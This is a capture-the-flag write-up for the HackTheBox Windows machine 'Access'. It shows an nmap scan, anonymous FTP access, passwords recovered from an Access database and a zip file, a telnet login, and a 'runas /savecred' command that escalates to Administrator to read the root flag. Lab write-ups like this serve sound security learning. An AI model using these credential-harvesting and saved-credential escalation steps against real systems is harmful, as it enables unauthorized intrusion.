> For the complete documentation index, see [llms.txt](https://jtnydv.gitbook.io/wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jtnydv.gitbook.io/wiki/write-ups/hackthebox/windows/htb-access.md).

# Access

### Initial Enumeration

```bash
# Nmap 7.70 scan initiated Thu Jul 25 23:30:51 2019 as: nmap -sV -sC -O -A -oN O-Detailed -p 21,23,80 10.10.10.98
Nmap scan report for 10.10.10.98
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst: 
|_  SYST: Windows_NT
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|7|Vista|Phone|8.1|2012 (91%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows 7 Professional or Windows 8 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (90%), Microsoft Windows Vista SP2 (90%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (89%), Microsoft Windows 8.1 Update 1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 21/tcp)
HOP RTT       ADDRESS
1   236.52 ms 10.10.14.1
2   247.52 ms 10.10.10.98

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 25 23:33:57 2019 -- 1 IP address (1 host up) scanned in 186.20 seconds

```

FTP had anonymous login enabled, so I got few files from the FTP server. Files: `'Access Control.zip' and backup.mdb`

From `backup.mdb` file I got `auth_user` data and got the password for `engineer` account with password `access4u@security` which let me unlock the `'Access Control.zip'` file which revealed password for another account, `security` with password as `4Cc3ssC0ntr0ller`

The `security` account had access to the `telnet service` which got me shell and got me the `user flag`.

### User Own

```bash
C:\Users\security\Desktop>type user.txt                                    
ff1f3***
```

### Root Own

```bash
C:\Users\Public>runas /savecred /user:ACCESS\Administrator "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\FLAG"
C:\Users\Public>type FLAG            
6e158***
```

### Learning Outcome

This was a fun box, I was not aware of `runas` tool and the `savecred` flag. Also, I learned about how to handle `MS Access files on Linux`.